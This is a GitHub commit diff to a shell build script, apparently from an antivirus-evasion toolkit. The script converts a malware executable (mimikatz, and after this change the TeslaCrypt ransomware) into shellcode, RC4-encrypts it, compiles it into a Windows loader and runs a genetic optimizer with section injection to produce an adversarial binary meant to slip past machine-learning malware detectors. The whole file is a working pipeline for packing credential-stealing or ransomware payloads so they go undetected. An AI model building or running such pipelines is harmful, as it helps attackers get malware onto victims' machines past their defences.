Skip to content

Commit 8a0a079

Browse files
committed
use genetic optimizer as example
1 parent 8dd4229 commit 8a0a079

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

build/build_rc4enc_mimikatz_adversarial_win64.sh

+7-3
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ generate_key preset aabbccdd1122 input/key_raw.txt
3737

3838
# convert mimikatz executable into shellcode format
3939
# Can be of course used with other .exe files
40-
wine ./../pe_to_shellcode/pe2shc.exe input/mimikatz.exe input/sc_raw.txt
40+
wine ./../pe_to_shellcode/pe2shc.exe input/teslacrypt.exe input/sc_raw.txt
4141
# encrypt payload
4242
encode_payload rc4 input/sc_raw.txt input/sc_enc_raw.txt input/key_raw.txt
4343

@@ -66,9 +66,13 @@ $win64_compiler -o output/rc4enc_mimikatz_adversarial_win64.exe source/avet.c
6666
strip output/rc4enc_mimikatz_adversarial_win64.exe
6767

6868
# generate adversarial example
69-
gen_adversarial_exe full_dos output/rc4enc_mimikatz_adversarial_win64.exe
70-
sleep 2
69+
practical_manipulation="section_injection"
70+
population_size=100
7171

72+
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
73+
74+
# Or use practical manipulation without optimizer
75+
# gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
7276

7377
# cleanup
7478
cleanup_techniques

0 commit comments

Comments
 (0)